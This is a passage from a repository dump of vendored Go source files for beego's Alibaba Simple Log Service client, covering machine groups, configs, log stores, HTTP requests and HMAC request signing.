{\n\t\treturn\n\t}\n\tm.project = p\n\treturn\n}\n\n// CreateMachineGroup creates a new machine group in SLS.\nfunc (p *LogProject) CreateMachineGroup(m *MachineGroup) (err error) {\n\n\tbody, err := json.Marshal(m)\n\tif err != nil {\n\t\treturn\n\t}\n\n\th := map[string]string{\n\t\t\"x-sls-bodyrawsize\": fmt.Sprintf(\"%v\", len(body)),\n\t\t\"Content-Type\":      \"application/json\",\n\t\t\"Accept-Encoding\":   \"deflate\", // TODO: support lz4\n\t}\n\n\tr, err := request(p, \"POST\", \"/machinegroups\", h, body)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tbody, err = ioutil.ReadAll(r.Body)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tif r.StatusCode != http.StatusOK {\n\t\terrMsg := &errorMessage{}\n\t\terr = json.Unmarshal(body, errMsg)\n\t\tif err != nil {\n\t\t\terr = fmt.Errorf(\"failed to create machine group\")\n\t\t\tdump, _ := httputil.DumpResponse(r, true)\n\t\t\tfmt.Printf(\"%s\\n\", dump)\n\t\t\treturn\n\t\t}\n\t\terr = fmt.Errorf(\"%v:%v\", errMsg.Code, errMsg.Message)\n\t\treturn\n\t}\n\n\treturn\n}\n\n// UpdateMachineGroup updates a machine group.\nfunc (p *LogProject) UpdateMachineGroup(m *MachineGroup) (err error) {\n\n\tbody, err := json.Marshal(m)\n\tif err != nil {\n\t\treturn\n\t}\n\n\th := map[string]string{\n\t\t\"x-sls-bodyrawsize\": fmt.Sprintf(\"%v\", len(body)),\n\t\t\"Content-Type\":      \"application/json\",\n\t\t\"Accept-Encoding\":   \"deflate\", // TODO: support lz4\n\t}\n\n\tr, err := request(p, \"PUT\", \"/machinegroups/\"+m.Name, h, body)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tbody, err = ioutil.ReadAll(r.Body)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tif r.StatusCode != http.StatusOK {\n\t\terrMsg := &errorMessage{}\n\t\terr = json.Unmarshal(body, errMsg)\n\t\tif err != nil {\n\t\t\terr = fmt.Errorf(\"failed to update machine group\")\n\t\t\tdump, _ := httputil.DumpResponse(r, true)\n\t\t\tfmt.Printf(\"%s\\n\", dump)\n\t\t\treturn\n\t\t}\n\t\terr = fmt.Errorf(\"%v:%v\", errMsg.Code, errMsg.Message)\n\t\treturn\n\t}\n\n\treturn\n}\n\n// DeleteMachineGroup deletes machine group according machine group name.\nfunc (p *LogProject) DeleteMachineGroup(name string) (err error) {\n\th := map[string]string{\n\t\t\"x-sls-bodyrawsize\": \"0\",\n\t}\n\n\tr, err := request(p, \"DELETE\", \"/machinegroups/\"+name, h, nil)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tbody, err := ioutil.ReadAll(r.Body)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tif r.StatusCode != http.StatusOK {\n\t\terrMsg := &errorMessage{}\n\t\terr = json.Unmarshal(body, errMsg)\n\t\tif err != nil {\n\t\t\terr = fmt.Errorf(\"failed to delete machine group\")\n\t\t\tdump, _ := httputil.DumpResponse(r, true)\n\t\t\tfmt.Printf(\"%s\\n\", dump)\n\t\t\treturn\n\t\t}\n\t\terr = fmt.Errorf(\"%v:%v\", errMsg.Code, errMsg.Message)\n\t\treturn\n\t}\n\treturn\n}\n\n// ListConfig returns config names list and the total number of configs.\n// The offset starts from 0 and the size is the max number of configs could be returned.\nfunc (p *LogProject) ListConfig(offset, size int) (cfgNames []string, total int, err error) {\n\th := map[string]string{\n\t\t\"x-sls-bodyrawsize\": \"0\",\n\t}\n\n\tif size <= 0 {\n\t\tsize = 100\n\t}\n\n\turi := fmt.Sprintf(\"/configs?offset=%v&size=%v\", offset, size)\n\tr, err := request(p, \"GET\", uri, h, nil)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tbuf, err := ioutil.ReadAll(r.Body)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tif r.StatusCode != http.StatusOK {\n\t\terrMsg := &errorMessage{}\n\t\terr = json.Unmarshal(buf, errMsg)\n\t\tif err != nil {\n\t\t\terr = fmt.Errorf(\"failed to delete machine group\")\n\t\t\tdump, _ := httputil.DumpResponse(r, true)\n\t\t\tfmt.Printf(\"%s\\n\", dump)\n\t\t\treturn\n\t\t}\n\t\terr = fmt.Errorf(\"%v:%v\", errMsg.Code, errMsg.Message)\n\t\treturn\n\t}\n\n\ttype Body struct {\n\t\tTotal   int\n\t\tConfigs []string\n\t}\n\tbody := &Body{}\n\n\terr = json.Unmarshal(buf, body)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tcfgNames = body.Configs\n\ttotal = body.Total\n\treturn\n}\n\n// GetConfig returns config according by config name.\nfunc (p *LogProject) GetConfig(name string) (c *LogConfig, err error) {\n\th := map[string]string{\n\t\t\"x-sls-bodyrawsize\": \"0\",\n\t}\n\n\tr, err := request(p, \"GET\", \"/configs/\"+name, h, nil)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tbuf, err := ioutil.ReadAll(r.Body)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tif r.StatusCode != http.StatusOK {\n\t\terrMsg := &errorMessage{}\n\t\terr = json.Unmarshal(buf, errMsg)\n\t\tif err != nil {\n\t\t\terr = fmt.Errorf(\"failed to delete config\")\n\t\t\tdump, _ := httputil.DumpResponse(r, true)\n\t\t\tfmt.Printf(\"%s\\n\", dump)\n\t\t\treturn\n\t\t}\n\t\terr = fmt.Errorf(\"%v:%v\", errMsg.Code, errMsg.Message)\n\t\treturn\n\t}\n\n\tc = &LogConfig{}\n\terr = json.Unmarshal(buf, c)\n\tif err != nil {\n\t\treturn\n\t}\n\tc.project = p\n\treturn\n}\n\n// UpdateConfig updates a config.\nfunc (p *LogProject) UpdateConfig(c *LogConfig) (err error) {\n\n\tbody, err := json.Marshal(c)\n\tif err != nil {\n\t\treturn\n\t}\n\n\th := map[string]string{\n\t\t\"x-sls-bodyrawsize\": fmt.Sprintf(\"%v\", len(body)),\n\t\t\"Content-Type\":      \"application/json\",\n\t\t\"Accept-Encoding\":   \"deflate\", // TODO: support lz4\n\t}\n\n\tr, err := request(p, \"PUT\", \"/configs/\"+c.Name, h, body)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tbody, err = ioutil.ReadAll(r.Body)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tif r.StatusCode != http.StatusOK {\n\t\terrMsg := &errorMessage{}\n\t\terr = json.Unmarshal(body, errMsg)\n\t\tif err != nil {\n\t\t\terr = fmt.Errorf(\"failed to update config\")\n\t\t\tdump, _ := httputil.DumpResponse(r, true)\n\t\t\tfmt.Printf(\"%s\\n\", dump)\n\t\t\treturn\n\t\t}\n\t\terr = fmt.Errorf(\"%v:%v\", errMsg.Code, errMsg.Message)\n\t\treturn\n\t}\n\n\treturn\n}\n\n// CreateConfig creates a new config in SLS.\nfunc (p *LogProject) CreateConfig(c *LogConfig) (err error) {\n\n\tbody, err := json.Marshal(c)\n\tif err != nil {\n\t\treturn\n\t}\n\n\th := map[string]string{\n\t\t\"x-sls-bodyrawsize\": fmt.Sprintf(\"%v\", len(body)),\n\t\t\"Content-Type\":      \"application/json\",\n\t\t\"Accept-Encoding\":   \"deflate\", // TODO: support lz4\n\t}\n\n\tr, err := request(p, \"POST\", \"/configs\", h, body)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tbody, err = ioutil.ReadAll(r.Body)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tif r.StatusCode != http.StatusOK {\n\t\terrMsg := &errorMessage{}\n\t\terr = json.Unmarshal(body, errMsg)\n\t\tif err != nil {\n\t\t\terr = fmt.Errorf(\"failed to update config\")\n\t\t\tdump, _ := httputil.DumpResponse(r, true)\n\t\t\tfmt.Printf(\"%s\\n\", dump)\n\t\t\treturn\n\t\t}\n\t\terr = fmt.Errorf(\"%v:%v\", errMsg.Code, errMsg.Message)\n\t\treturn\n\t}\n\n\treturn\n}\n\n// DeleteConfig deletes a config according by config name.\nfunc (p *LogProject) DeleteConfig(name string) (err error) {\n\th := map[string]string{\n\t\t\"x-sls-bodyrawsize\": \"0\",\n\t}\n\n\tr, err := request(p, \"DELETE\", \"/configs/\"+name, h, nil)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tbody, err := ioutil.ReadAll(r.Body)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tif r.StatusCode != http.StatusOK {\n\t\terrMsg := &errorMessage{}\n\t\terr = json.Unmarshal(body, errMsg)\n\t\tif err != nil {\n\t\t\terr = fmt.Errorf(\"failed to delete config\")\n\t\t\tdump, _ := httputil.DumpResponse(r, true)\n\t\t\tfmt.Printf(\"%s\\n\", dump)\n\t\t\treturn\n\t\t}\n\t\terr = fmt.Errorf(\"%v:%v\", errMsg.Code, errMsg.Message)\n\t\treturn\n\t}\n\treturn\n}\n\n// GetAppliedMachineGroups returns applied machine group names list according config name.\nfunc (p *LogProject) GetAppliedMachineGroups(confName string) (groupNames []string, err error) {\n\th := map[string]string{\n\t\t\"x-sls-bodyrawsize\": \"0\",\n\t}\n\n\turi := fmt.Sprintf(\"/configs/%v/machinegroups\", confName)\n\tr, err := request(p, \"GET\", uri, h, nil)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tbuf, err := ioutil.ReadAll(r.Body)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tif r.StatusCode != http.StatusOK {\n\t\terrMsg := &errorMessage{}\n\t\terr = json.Unmarshal(buf, errMsg)\n\t\tif err != nil {\n\t\t\terr = fmt.Errorf(\"failed to get applied machine groups\")\n\t\t\tdump, _ := httputil.DumpResponse(r, true)\n\t\t\tfmt.Printf(\"%s\\n\", dump)\n\t\t\treturn\n\t\t}\n\t\terr = fmt.Errorf(\"%v:%v\", errMsg.Code, errMsg.Message)\n\t\treturn\n\t}\n\n\ttype Body struct {\n\t\tCount         int\n\t\tMachinegroups []string\n\t}\n\n\tbody := &Body{}\n\terr = json.Unmarshal(buf, body)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tgroupNames = body.Machinegroups\n\treturn\n}\n\n// GetAppliedConfigs returns applied config names list according machine group name groupName.\nfunc (p *LogProject) GetAppliedConfigs(groupName string) (confNames []string, err error) {\n\th := map[string]string{\n\t\t\"x-sls-bodyrawsize\": \"0\",\n\t}\n\n\turi := fmt.Sprintf(\"/machinegroups/%v/configs\", groupName)\n\tr, err := request(p, \"GET\", uri, h, nil)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tbuf, err := ioutil.ReadAll(r.Body)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tif r.StatusCode != http.StatusOK {\n\t\terrMsg := &errorMessage{}\n\t\terr = json.Unmarshal(buf, errMsg)\n\t\tif err != nil {\n\t\t\terr = fmt.Errorf(\"failed to applied configs\")\n\t\t\tdump, _ := httputil.DumpResponse(r, true)\n\t\t\tfmt.Printf(\"%s\\n\", dump)\n\t\t\treturn\n\t\t}\n\t\terr = fmt.Errorf(\"%v:%v\", errMsg.Code, errMsg.Message)\n\t\treturn\n\t}\n\n\ttype Cfg struct {\n\t\tCount   int      `json:\"count\"`\n\t\tConfigs []string `json:\"configs\"`\n\t}\n\n\tbody := &Cfg{}\n\terr = json.Unmarshal(buf, body)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tconfNames = body.Configs\n\treturn\n}\n\n// ApplyConfigToMachineGroup applies config to machine group.\nfunc (p *LogProject) ApplyConfigToMachineGroup(confName, groupName string) (err error) {\n\th := map[string]string{\n\t\t\"x-sls-bodyrawsize\": \"0\",\n\t}\n\n\turi := fmt.Sprintf(\"/machinegroups/%v/configs/%v\", groupName, confName)\n\tr, err := request(p, \"PUT\", uri, h, nil)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tbuf, err := ioutil.ReadAll(r.Body)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tif r.StatusCode != http.StatusOK {\n\t\terrMsg := &errorMessage{}\n\t\terr = json.Unmarshal(buf, errMsg)\n\t\tif err != nil {\n\t\t\terr = fmt.Errorf(\"failed to apply config to machine group\")\n\t\t\tdump, _ := httputil.DumpResponse(r, true)\n\t\t\tfmt.Printf(\"%s\\n\", dump)\n\t\t\treturn\n\t\t}\n\t\terr = fmt.Errorf(\"%v:%v\", errMsg.Code, errMsg.Message)\n\t\treturn\n\t}\n\treturn\n}\n\n// RemoveConfigFromMachineGroup removes config from machine group.\nfunc (p *LogProject) RemoveConfigFromMachineGroup(confName, groupName string) (err error) {\n\th := map[string]string{\n\t\t\"x-sls-bodyrawsize\": \"0\",\n\t}\n\n\turi := fmt.Sprintf(\"/machinegroups/%v/configs/%v\", groupName, confName)\n\tr, err := request(p, \"DELETE\", uri, h, nil)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tbuf, err := ioutil.ReadAll(r.Body)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tif r.StatusCode != http.StatusOK {\n\t\terrMsg := &errorMessage{}\n\t\terr = json.Unmarshal(buf, errMsg)\n\t\tif err != nil {\n\t\t\terr = fmt.Errorf(\"failed to remove config from machine group\")\n\t\t\tdump, _ := httputil.DumpResponse(r, true)\n\t\t\tfmt.Printf(\"%s\\n\", dump)\n\t\t\treturn\n\t\t}\n\t\terr = fmt.Errorf(\"%v:%v\", errMsg.Code, errMsg.Message)\n\t\treturn\n\t}\n\treturn\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/logs/alils/log_store.go",
    "content": "package alils\n\nimport (\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"net/http\"\n\t\"net/http/httputil\"\n\t\"strconv\"\n\n\tlz4 \"github.com/cloudflare/golz4\"\n\t\"github.com/gogo/protobuf/proto\"\n)\n\n// LogStore Store the logs\ntype LogStore struct {\n\tName       string `json:\"logstoreName\"`\n\tTTL        int\n\tShardCount int\n\n\tCreateTime     uint32\n\tLastModifyTime uint32\n\n\tproject *LogProject\n}\n\n// Shard define the Log Shard\ntype Shard struct {\n\tShardID int `json:\"shardID\"`\n}\n\n// ListShards returns shard id list of this logstore.\nfunc (s *LogStore) ListShards() (shardIDs []int, err error) {\n\th := map[string]string{\n\t\t\"x-sls-bodyrawsize\": \"0\",\n\t}\n\n\turi := fmt.Sprintf(\"/logstores/%v/shards\", s.Name)\n\tr, err := request(s.project, \"GET\", uri, h, nil)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tbuf, err := ioutil.ReadAll(r.Body)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tif r.StatusCode != http.StatusOK {\n\t\terrMsg := &errorMessage{}\n\t\terr = json.Unmarshal(buf, errMsg)\n\t\tif err != nil {\n\t\t\terr = fmt.Errorf(\"failed to list logstore\")\n\t\t\tdump, _ := httputil.DumpResponse(r, true)\n\t\t\tfmt.Println(dump)\n\t\t\treturn\n\t\t}\n\t\terr = fmt.Errorf(\"%v:%v\", errMsg.Code, errMsg.Message)\n\t\treturn\n\t}\n\n\tvar shards []*Shard\n\terr = json.Unmarshal(buf, &shards)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tfor _, v := range shards {\n\t\tshardIDs = append(shardIDs, v.ShardID)\n\t}\n\treturn\n}\n\n// PutLogs put logs into logstore.\n// The callers should transform user logs into LogGroup.\nfunc (s *LogStore) PutLogs(lg *LogGroup) (err error) {\n\tbody, err := proto.Marshal(lg)\n\tif err != nil {\n\t\treturn\n\t}\n\n\t// Compresse body with lz4\n\tout := make([]byte, lz4.CompressBound(body))\n\tn, err := lz4.Compress(body, out)\n\tif err != nil {\n\t\treturn\n\t}\n\n\th := map[string]string{\n\t\t\"x-sls-compresstype\": \"lz4\",\n\t\t\"x-sls-bodyrawsize\":  fmt.Sprintf(\"%v\", len(body)),\n\t\t\"Content-Type\":       \"application/x-protobuf\",\n\t}\n\n\turi := fmt.Sprintf(\"/logstores/%v\", s.Name)\n\tr, err := request(s.project, \"POST\", uri, h, out[:n])\n\tif err != nil {\n\t\treturn\n\t}\n\n\tbuf, err := ioutil.ReadAll(r.Body)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tif r.StatusCode != http.StatusOK {\n\t\terrMsg := &errorMessage{}\n\t\terr = json.Unmarshal(buf, errMsg)\n\t\tif err != nil {\n\t\t\terr = fmt.Errorf(\"failed to put logs\")\n\t\t\tdump, _ := httputil.DumpResponse(r, true)\n\t\t\tfmt.Println(dump)\n\t\t\treturn\n\t\t}\n\t\terr = fmt.Errorf(\"%v:%v\", errMsg.Code, errMsg.Message)\n\t\treturn\n\t}\n\treturn\n}\n\n// GetCursor gets log cursor of one shard specified by shardID.\n// The from can be in three form: a) unix timestamp in seccond, b) \"begin\", c) \"end\".\n// For more detail please read: http://gitlab.alibaba-inc.com/sls/doc/blob/master/api/shard.md#logstore\nfunc (s *LogStore) GetCursor(shardID int, from string) (cursor string, err error) {\n\th := map[string]string{\n\t\t\"x-sls-bodyrawsize\": \"0\",\n\t}\n\n\turi := fmt.Sprintf(\"/logstores/%v/shards/%v?type=cursor&from=%v\",\n\t\ts.Name, shardID, from)\n\n\tr, err := request(s.project, \"GET\", uri, h, nil)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tbuf, err := ioutil.ReadAll(r.Body)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tif r.StatusCode != http.StatusOK {\n\t\terrMsg := &errorMessage{}\n\t\terr = json.Unmarshal(buf, errMsg)\n\t\tif err != nil {\n\t\t\terr = fmt.Errorf(\"failed to get cursor\")\n\t\t\tdump, _ := httputil.DumpResponse(r, true)\n\t\t\tfmt.Println(dump)\n\t\t\treturn\n\t\t}\n\t\terr = fmt.Errorf(\"%v:%v\", errMsg.Code, errMsg.Message)\n\t\treturn\n\t}\n\n\ttype Body struct {\n\t\tCursor string\n\t}\n\tbody := &Body{}\n\n\terr = json.Unmarshal(buf, body)\n\tif err != nil {\n\t\treturn\n\t}\n\tcursor = body.Cursor\n\treturn\n}\n\n// GetLogsBytes gets logs binary data from shard specified by shardID according cursor.\n// The logGroupMaxCount is the max number of logGroup could be returned.\n// The nextCursor is the next curosr can be used to read logs at next time.\nfunc (s *LogStore) GetLogsBytes(shardID int, cursor string,\n\tlogGroupMaxCount int) (out []byte, nextCursor string, err error) {\n\n\th := map[string]string{\n\t\t\"x-sls-bodyrawsize\": \"0\",\n\t\t\"Accept\":            \"application/x-protobuf\",\n\t\t\"Accept-Encoding\":   \"lz4\",\n\t}\n\n\turi := fmt.Sprintf(\"/logstores/%v/shards/%v?type=logs&cursor=%v&count=%v\",\n\t\ts.Name, shardID, cursor, logGroupMaxCount)\n\n\tr, err := request(s.project, \"GET\", uri, h, nil)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tbuf, err := ioutil.ReadAll(r.Body)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tif r.StatusCode != http.StatusOK {\n\t\terrMsg := &errorMessage{}\n\t\terr = json.Unmarshal(buf, errMsg)\n\t\tif err != nil {\n\t\t\terr = fmt.Errorf(\"failed to get cursor\")\n\t\t\tdump, _ := httputil.DumpResponse(r, true)\n\t\t\tfmt.Println(dump)\n\t\t\treturn\n\t\t}\n\t\terr = fmt.Errorf(\"%v:%v\", errMsg.Code, errMsg.Message)\n\t\treturn\n\t}\n\n\tv, ok := r.Header[\"X-Sls-Compresstype\"]\n\tif !ok || len(v) == 0 {\n\t\terr = fmt.Errorf(\"can't find 'x-sls-compresstype' header\")\n\t\treturn\n\t}\n\tif v[0] != \"lz4\" {\n\t\terr = fmt.Errorf(\"unexpected compress type:%v\", v[0])\n\t\treturn\n\t}\n\n\tv, ok = r.Header[\"X-Sls-Cursor\"]\n\tif !ok || len(v) == 0 {\n\t\terr = fmt.Errorf(\"can't find 'x-sls-cursor' header\")\n\t\treturn\n\t}\n\tnextCursor = v[0]\n\n\tv, ok = r.Header[\"X-Sls-Bodyrawsize\"]\n\tif !ok || len(v) == 0 {\n\t\terr = fmt.Errorf(\"can't find 'x-sls-bodyrawsize' header\")\n\t\treturn\n\t}\n\tbodyRawSize, err := strconv.Atoi(v[0])\n\tif err != nil {\n\t\treturn\n\t}\n\n\tout = make([]byte, bodyRawSize)\n\terr = lz4.Uncompress(buf, out)\n\tif err != nil {\n\t\treturn\n\t}\n\n\treturn\n}\n\n// LogsBytesDecode decodes logs binary data retruned by GetLogsBytes API\nfunc LogsBytesDecode(data []byte) (gl *LogGroupList, err error) {\n\n\tgl = &LogGroupList{}\n\terr = proto.Unmarshal(data, gl)\n\tif err != nil {\n\t\treturn\n\t}\n\n\treturn\n}\n\n// GetLogs gets logs from shard specified by shardID according cursor.\n// The logGroupMaxCount is the max number of logGroup could be returned.\n// The nextCursor is the next curosr can be used to read logs at next time.\nfunc (s *LogStore) GetLogs(shardID int, cursor string,\n\tlogGroupMaxCount int) (gl *LogGroupList, nextCursor string, err error) {\n\n\tout, nextCursor, err := s.GetLogsBytes(shardID, cursor, logGroupMaxCount)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tgl, err = LogsBytesDecode(out)\n\tif err != nil {\n\t\treturn\n\t}\n\n\treturn\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/logs/alils/machine_group.go",
    "content": "package alils\n\nimport (\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"net/http\"\n\t\"net/http/httputil\"\n)\n\n// MachineGroupAttribute define the Attribute\ntype MachineGroupAttribute struct {\n\tExternalName string `json:\"externalName\"`\n\tTopicName    string `json:\"groupTopic\"`\n}\n\n// MachineGroup define the machine Group\ntype MachineGroup struct {\n\tName          string   `json:\"groupName\"`\n\tType          string   `json:\"groupType\"`\n\tMachineIDType string   `json:\"machineIdentifyType\"`\n\tMachineIDList []string `json:\"machineList\"`\n\n\tAttribute MachineGroupAttribute `json:\"groupAttribute\"`\n\n\tCreateTime     uint32\n\tLastModifyTime uint32\n\n\tproject *LogProject\n}\n\n// Machine define the Machine\ntype Machine struct {\n\tIP            string\n\tUniqueID      string `json:\"machine-uniqueid\"`\n\tUserdefinedID string `json:\"userdefined-id\"`\n}\n\n// MachineList define the Machine List\ntype MachineList struct {\n\tTotal    int\n\tMachines []*Machine\n}\n\n// ListMachines returns machine list of this machine group.\nfunc (m *MachineGroup) ListMachines() (ms []*Machine, total int, err error) {\n\th := map[string]string{\n\t\t\"x-sls-bodyrawsize\": \"0\",\n\t}\n\n\turi := fmt.Sprintf(\"/machinegroups/%v/machines\", m.Name)\n\tr, err := request(m.project, \"GET\", uri, h, nil)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tbuf, err := ioutil.ReadAll(r.Body)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tif r.StatusCode != http.StatusOK {\n\t\terrMsg := &errorMessage{}\n\t\terr = json.Unmarshal(buf, errMsg)\n\t\tif err != nil {\n\t\t\terr = fmt.Errorf(\"failed to remove config from machine group\")\n\t\t\tdump, _ := httputil.DumpResponse(r, true)\n\t\t\tfmt.Println(dump)\n\t\t\treturn\n\t\t}\n\t\terr = fmt.Errorf(\"%v:%v\", errMsg.Code, errMsg.Message)\n\t\treturn\n\t}\n\n\tbody := &MachineList{}\n\terr = json.Unmarshal(buf, body)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tms = body.Machines\n\ttotal = body.Total\n\n\treturn\n}\n\n// GetAppliedConfigs returns applied configs of this machine group.\nfunc (m *MachineGroup) GetAppliedConfigs() (confNames []string, err error) {\n\tconfNames, err = m.project.GetAppliedConfigs(m.Name)\n\treturn\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/logs/alils/request.go",
    "content": "package alils\n\nimport (\n\t\"bytes\"\n\t\"crypto/md5\"\n\t\"fmt\"\n\t\"net/http\"\n)\n\n// request sends a request to SLS.\nfunc request(project *LogProject, method, uri string, headers map[string]string,\n\tbody []byte) (resp *http.Response, err error) {\n\n\t// The caller should provide 'x-sls-bodyrawsize' header\n\tif _, ok := headers[\"x-sls-bodyrawsize\"]; !ok {\n\t\terr = fmt.Errorf(\"Can't find 'x-sls-bodyrawsize' header\")\n\t\treturn\n\t}\n\n\t// SLS public request headers\n\theaders[\"Host\"] = project.Name + \".\" + project.Endpoint\n\theaders[\"Date\"] = nowRFC1123()\n\theaders[\"x-sls-apiversion\"] = version\n\theaders[\"x-sls-signaturemethod\"] = signatureMethod\n\tif body != nil {\n\t\tbodyMD5 := fmt.Sprintf(\"%X\", md5.Sum(body))\n\t\theaders[\"Content-MD5\"] = bodyMD5\n\n\t\tif _, ok := headers[\"Content-Type\"]; !ok {\n\t\t\terr = fmt.Errorf(\"Can't find 'Content-Type' header\")\n\t\t\treturn\n\t\t}\n\t}\n\n\t// Calc Authorization\n\t// Authorization = \"SLS <AccessKeyID>:<Signature>\"\n\tdigest, err := signature(project, method, uri, headers)\n\tif err != nil {\n\t\treturn\n\t}\n\tauth := fmt.Sprintf(\"SLS %v:%v\", project.AccessKeyID, digest)\n\theaders[\"Authorization\"] = auth\n\n\t// Initialize http request\n\treader := bytes.NewReader(body)\n\turlStr := fmt.Sprintf(\"http://%v.%v%v\", project.Name, project.Endpoint, uri)\n\treq, err := http.NewRequest(method, urlStr, reader)\n\tif err != nil {\n\t\treturn\n\t}\n\tfor k, v := range headers {\n\t\treq.Header.Add(k, v)\n\t}\n\n\t// Get ready to do request\n\tresp, err = http.DefaultClient.Do(req)\n\tif err != nil {\n\t\treturn\n\t}\n\n\treturn\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/logs/alils/signature.go",
    "content": "package alils\n\nimport (\n\t\"crypto/hmac\"\n\t\"crypto/sha1\"\n\t\"encoding/base64\"\n\t\"fmt\"\n\t\"net/url\"\n\t\"sort\"\n\t\"strings\"\n\t\"time\"\n)\n\n// GMT location\nvar gmtLoc = time.FixedZone(\"GMT\", 0)\n\n// NowRFC1123 returns now time in RFC1123 format with GMT timezone,\n// eg. \"Mon, 02 Jan 2006 15:04:05 GMT\".\nfunc nowRFC1123() string {\n\treturn time.Now().In(gmtLoc).Format(time.RFC1123)\n}\n\n// signature calculates a request's signature digest.\nfunc signature(project *LogProject, method, uri string,\n\theaders map[string]string) (digest string, err error) {\n\tvar contentMD5, contentType, date, canoHeaders, canoResource string\n\tvar slsHeaderKeys sort.StringSlice\n\n\t// SignString = VERB + \"\\n\"\n\t//              + CONTENT-MD5 + \"\\n\"\n\t//              + CONTENT-TYPE + \"\\n\"\n\t//              + DATE + \"\\n\"\n\t//              + CanonicalizedSLSHeaders + \"\\n\"\n\t//              + CanonicalizedResource\n\n\tif val, ok := headers[\"Content-MD5\"]; ok {\n\t\tcontentMD5 = val\n\t}\n\n\tif val, ok := headers[\"Content-Type\"]; ok {\n\t\tcontentType = val\n\t}\n\n\tdate, ok := headers[\"Date\"]\n\tif !ok {\n\t\terr = fmt.Errorf(\"Can't find 'Date' header\")\n\t\treturn\n\t}\n\n\t// Calc CanonicalizedSLSHeaders\n\tslsHeaders := make(map[string]string, len(headers))\n\tfor k, v := range headers {\n\t\tl := strings.TrimSpace(strings.ToLower(k))\n\t\tif strings.HasPrefix(l, \"x-sls-\") {\n\t\t\tslsHeaders[l] = strings.TrimSpace(v)\n\t\t\tslsHeaderKeys = append(slsHeaderKeys, l)\n\t\t}\n\t}\n\n\tsort.Sort(slsHeaderKeys)\n\tfor i, k := range slsHeaderKeys {\n\t\tcanoHeaders += k + \":\" + slsHeaders[k]\n\t\tif i+1 < len(slsHeaderKeys) {\n\t\t\tcanoHeaders += \"\\n\"\n\t\t}\n\t}\n\n\t// Calc CanonicalizedResource\n\tu, err := url.Parse(uri)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tcanoResource += url.QueryEscape(u.Path)\n\tif u.RawQuery != \"\" {\n\t\tvar keys sort.StringSlice\n\n\t\tvals := u.Query()\n\t\tfor k := range vals {\n\t\t\tkeys = append(keys, k)\n\t\t}\n\n\t\tsort.Sort(keys)\n\t\tcanoResource += \"?\"\n\t\tfor i, k := range keys {\n\t\t\tif i > 0 {\n\t\t\t\tcanoResource += \"&\"\n\t\t\t}\n\n\t\t\tfor _, v := range vals[k] {\n\t\t\t\tcanoResource += k + \"=\" + v\n\t\t\t}\n\t\t}\n\t}\n\n\tsignStr := method + \"\\n\" +\n\t\tcontentMD5 + \"\\n\" +\n\t\tcontentType + \"\\n\" +\n\t\tdate + \"\\n\" +\n\t\tcanoHeaders + \"\\n\" +\n\t\tcanoResource\n\n\t// Signature = base64(hmac-sha1(UTF8-Encoding-Of(SignString)，AccessKeySecret))\n\tmac := hmac.New(sha1.New, []byte(project.AccessKeySecret))\n\t_, err = mac.Write([]byte(signStr))\n\tif err != nil {\n\t\treturn\n\t}\n\tdigest = base64.StdEncoding.EncodeToString(mac.Sum(nil))\n\treturn\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/logs/color.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\n// +build !windows\n\npackage logs\n\nimport \"io\"\n\ntype ansiColorWriter struct {\n\tw    io.Writer\n\tmode outputMode\n}\n\nfunc (cw *ansiColorWriter) Write(p []byte) (int, error) {\n\treturn cw.w.Write(p)\n}\n"
  },
  {
